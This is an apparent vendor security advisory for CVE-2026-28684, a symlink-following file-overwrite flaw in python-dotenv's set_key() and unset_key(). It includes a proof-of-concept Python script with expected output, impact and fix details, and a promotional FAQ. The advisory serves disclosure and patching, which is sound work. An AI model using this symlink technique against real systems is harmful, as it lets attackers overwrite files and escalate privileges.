CVE-2026-28684

set_key() and unset_key() in python-dotenv follow symbolic links when rewriting .env files, allowing a local attacker to overwrite arbitrary files via a crafted symlink when a cross-device rename fallback is triggered.

Details

The rewrite() context manager in dotenv/main.py is used by both set_key() and unset_key() to safely modify .env files. It works by writing to a temporary file (created in the system's default temp directory, typically /tmp) and then using shutil.move() to replace the original file.

When the .env path is a symbolic link and the temp directory resides on a different filesystem than the target (a common configuration on Linux systems using tmpfs for /tmp), the following sequence occurs:

1. shutil.move() first attempts os.rename(), which fails with an OSError because atomic renames cannot cross device boundaries.
2. On failure, shutil.move() falls back to shutil.copy2() followed by os.unlink().
3. shutil.copy2() calls shutil.copyfile() with follow_symlinks=True by default.
4. This causes the content to be written to the symlink target rather than replacing the symlink itself.

An attacker who has write access to the directory containing a .env file can pre-place a symlink pointing to any file that the application process has write access to. When the application (or a privileged process such as a deploy script, Docker entrypoint, or CI pipeline) calls set_key() or unset_key(), the symlink target is overwritten with the new .env content.

This vulnerability does not require a race condition and is fully deterministic once the preconditions are met.

Proof of Concept

The following script demonstrates the vulnerability. It requires /tmp and the user's home directory to reside on different devices (common on systemd-based Linux systems with tmpfs).

import os
import sys
import tempfile
from dotenv import set_key

# Pre-condition: /tmp must be on a different device than the target directory.
tmp_dev = os.stat("/tmp").st_dev
home_dev = os.stat(os.path.expanduser("~")).st_dev
assert tmp_dev != home_dev, "Skipped: /tmp and ~ are on the same device (no cross-device move)"

with tempfile.TemporaryDirectory(dir=os.path.expanduser("~")) as workdir:
    # File an attacker wants to overwrite
    target = os.path.join(workdir, "victim_config.txt")
    with open(target, "w") as f:
        f.write("DB_PASSWORD=supersecret\n")

    # Attacker pre-places a symlink at the path the application will use as .env
    env_symlink = os.path.join(workdir, ".env")
    os.symlink(target, env_symlink)

    before = open(target).read()

    # Application writes a new key -- triggers the cross-device fallback
    set_key(env_symlink, "INJECTED", "attacker_value")

    after = open(target).read()

    print("Before:", repr(before))
    print("After: ", repr(after))
    print("Symlink target overwritten:", target)

Expected output:

Before: 'DB_PASSWORD=supersecret\n'
After:  "DB_PASSWORD=supersecret\nINJECTED='attacker_value'\n"
Symlink target overwritten: /home/user/tmp806nut2g/victim_config.txt

Timeline

Patches

Upgrade to v.1.2.2 or use the patch from https://github.com/theskumar/python-dotenv/commit/790c5c02991100aa1bf41ee5330aca75edc51311.patch

The primary impacts are to integrity and availability:

• File overwrite / destruction (DoS): An attacker can cause an application or privileged process to corrupt or destroy configuration files, database configs, or other sensitive files it would not normally have access to modify.
• Integrity violation: The target file's original content is replaced with .env-formatted content controlled by the attacker.
• Potential privilege escalation: In scenarios where a privileged process (running as root or a service account) calls set_key(), the attacker can leverage this to write to files beyond their own access level.

The scope of impact depends on the application using python-dotenv and the privileges under which it runs.

CVE-2026-28684 has a CVSS score of 6.6 (Medium). The vector is requires local access, low privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.2.2); upgrading removes the vulnerable code path.

Kodem intelligence

The fix changes the rewrite() context manager in the following ways:

1. Symlinks are no longer followed by default. When the .env path is a symlink, rewrite() now resolves it to the real path before proceeding, or (by default) operates on the symlink entry itself rather than the target.
2. A follow_symlinks: bool = False parameter is added to set_key() and unset_key() for users who explicitly need the old behavior.
3. Temp files are written in the same directory as the target .env file (instead of the system temp directory), eliminating the cross-device rename condition entirely.
4. os.replace() is used instead of shutil.move(), providing atomic replacement without symlink-following fallback behavior.

Users are advised to upgrade to the patched version as soon as it is available on PyPI.

1. What is CVE-2026-28684? CVE-2026-28684 is a medium-severity security vulnerability in python-dotenv (pip), affecting versions < 1.2.2. It is fixed in 1.2.2.
2. How severe is CVE-2026-28684? CVE-2026-28684 has a CVSS score of 6.6 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of python-dotenv are affected by CVE-2026-28684? python-dotenv (pip) versions < 1.2.2 is affected.
4. Is there a fix for CVE-2026-28684? Yes. CVE-2026-28684 is fixed in 1.2.2. Upgrade to this version or later.
5. Is CVE-2026-28684 exploitable, and should I be worried? Whether CVE-2026-28684 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-28684 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-28684? Upgrade python-dotenv to 1.2.2 or later.